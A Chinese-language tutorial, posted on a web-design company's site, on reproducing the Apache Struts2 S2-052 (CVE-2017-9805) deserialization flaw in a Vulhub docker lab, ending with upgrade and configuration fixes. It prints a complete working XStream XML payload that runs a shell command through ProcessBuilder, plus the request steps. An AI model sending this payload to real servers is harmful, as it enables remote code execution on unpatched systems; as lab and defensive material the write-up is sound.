這篇文章的內(nèi)容主要圍繞如何實現(xiàn)Apache Struts2--052遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)進行講述,文章內(nèi)容清晰易懂,條理清晰,非常適合新手學(xué)習(xí),值得大家去閱讀。感興趣的朋友可以跟隨小編一起閱讀吧。希望大家通過這篇文章有所收獲!
我們提供的服務(wù)有:成都網(wǎng)站建設(shè)、做網(wǎng)站、微信公眾號開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、巴青ssl等。為上千余家企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的巴青網(wǎng)站制作公司
2017年9月5日,Apache Struts發(fā)布最新的安全公告,Apache Struts 2.5.x的REST插件存在遠(yuǎn)程代碼執(zhí)行的高危漏洞,漏洞編號為CVE-2017-9805(S2-052)。漏洞的成因是由于使用XStreamHandler反序列化XStream實例的時候沒有任何類型過濾導(dǎo)致遠(yuǎn)程代碼執(zhí)行。
Apache Struts 2.5 – Struts 2.5.12
Apache Struts 2.1.2 – Struts 2.3.33
虛擬機部署docker安裝Vulhub一鍵搭建漏洞測試靶場環(huán)境。
docker-compose up -d
1、訪問漏洞環(huán)境
http://192.168.60.131:8080/orders.xhtml
2、通過編輯進行POST數(shù)據(jù)的修改
3、該rest-plugin會根據(jù)URI擴展名或 Content-Type來判斷解析文件方式, 需要修改xhtml或修改Content-Type頭為application/xml,即可在Body中傳遞XML數(shù)據(jù)。
4、抓包對Content-Type類型修改
5、XML格式Payload數(shù)據(jù)包構(gòu)造
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>touch</string> <string>/tmp/yunzui.txt</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
6、通過payload進行漏洞利用,執(zhí)行命令,返回響應(yīng)500狀態(tài)碼,但是執(zhí)行成功。
touch /tmp/yunzui.txt
7、命令執(zhí)行結(jié)果進入docker查看,成功執(zhí)行。
docker-compose exec struts2 bash
ls -al /tmp
1、升級Apache struts 2.5.13或2.3.34版本
2、如果系統(tǒng)沒有使用Struts REST插件,那么可以直接刪除Struts REST插件,或者在配置文件中加入如下代碼,限制服務(wù)端文件的擴展名
<constant name="struts.action.extension" value="xhtml,,json" />
3、限制服務(wù)端擴展類型,刪除XML支持
感謝你的閱讀,相信你對“如何實現(xiàn)Apache Struts2--052遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)”這一問題有一定的了解,快去動手實踐吧,如果想了解更多相關(guān)知識點,可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站!小編會繼續(xù)為大家?guī)砀玫奈恼拢?/p>
分享文章:如何實現(xiàn)ApacheStruts2--052遠(yuǎn)程代碼執(zhí)行漏洞復(fù)現(xiàn)
網(wǎng)站路徑:http://muchs.cn/article38/jojdsp.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站制作、Google、動態(tài)網(wǎng)站、網(wǎng)站策劃、外貿(mào)建站、企業(yè)建站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)